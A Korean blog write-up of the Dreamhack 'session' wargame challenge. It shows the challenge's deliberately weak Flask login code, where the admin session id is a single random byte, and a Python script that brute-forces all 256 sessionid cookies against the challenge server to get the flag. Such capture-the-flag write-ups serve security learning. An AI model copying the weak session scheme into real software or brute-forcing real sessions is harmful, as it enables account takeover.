본문 바로가기
드림핵

[드림핵] session 풀이

by jwcs 2024. 1. 5.
728x90

https://dreamhack.io/wargame/challenges/266

 

session

쿠키와 세션으로 인증 상태를 관리하는 간단한 로그인 서비스입니다. admin 계정으로 로그인에 성공하면 플래그를 획득할 수 있습니다. Reference Background: Cookie & Session

dreamhack.io

간단하게 풀 수 있는 세션문제이다.

 

/

첫 화면이다. Login 외에는 눌러도 별 반응이 없다.

 

/login

로그인페이지다. 알고있는 계정이 없으므로 코드를 확인해보자.

 

#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for

app = Flask(__name__)

try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'

users = {
    'guest': 'guest',
    'user': 'user1234',
    'admin': FLAG
}

session_storage = {
}

@app.route('/')
def index():
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html')

    return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        try:
            pw = users[username]
        except:
            return '<script>alert("not found user");history.go(-1);</script>'
        if pw == password:
            resp = make_response(redirect(url_for('index')) )
            session_id = os.urandom(4).hex()
            session_storage[session_id] = username
            resp.set_cookie('sessionid', session_id)
            return resp 
        return '<script>alert("wrong password");history.go(-1);</script>'

if __name__ == '__main__':
    import os
    session_storage[os.urandom(1).hex()] = 'admin'
    print(session_storage)
    app.run(host='0.0.0.0', port=8000)

전체 코드이다. 조금씩 분할해서 살펴보겠다.

 

@app.route('/')
def index():
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html')

    return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')

sessionid 쿠키를 통해 로그인할 수 있다.

 

로그인할 수 있는 쿠키값이 없다면 일반적인 index.html을 보여준다.

로그인할 쿠키값이 있다면 session_storage에서 검색해서 로그인한다.

 

if __name__ == '__main__':
    import os
    session_storage[os.urandom(1).hex()] = 'admin'
    print(session_storage)
    app.run(host='0.0.0.0', port=8000)

서버를 시작하면서 session_storage에 16진수 1바이트를 키로하여 admin이란 username이 저장되어있다. 그렇다면 sessionid 값을 브루트포싱하여 admin으로 로그인할 수 있을 것이다.

 

import requests
url="http://host3.dreamhack.games:19290/"
for seq in range(256):
    session=hex(seq)[2:].zfill(2)
    cookies= {"sessionid":session}
    r=requests.get(url,cookies=cookies)
    if 'flag' in r.text:
        print(r.text)
        break

해당 코드이다. 0부터 255까지의 10진수를 16진수로 hex() 함수로 바꾸었다.

[2:] 의 의미는 10진수를 hex()함수로 바꾸면 0x~~가 된다. 여기서 0x 부분은 필요없기 때문에 버리는 과정이다.

zfill(2)는 빈 공간을 채우는 함수이다. 만약 hex(15)[2:] 까지만 한다면 f 라고 나올 것이다. 하지만 우리는 0f라는 값을 원하기 때문에 빈 공간에 0을 채워야 한다.

 

짜잔

728x90
반응형

'드림핵' 카테고리의 다른 글

[드림핵] web-misconf-1 풀이  (0) 2024.01.08
[드림핵] proxy-1 풀이  (0) 2024.01.08
[드림핵] mongoboard 풀이  (0) 2024.01.05
[드림핵] Tomcat Manager 풀이  (0) 2024.01.03
[드림핵] Type c-j 풀이  (0) 2023.09.30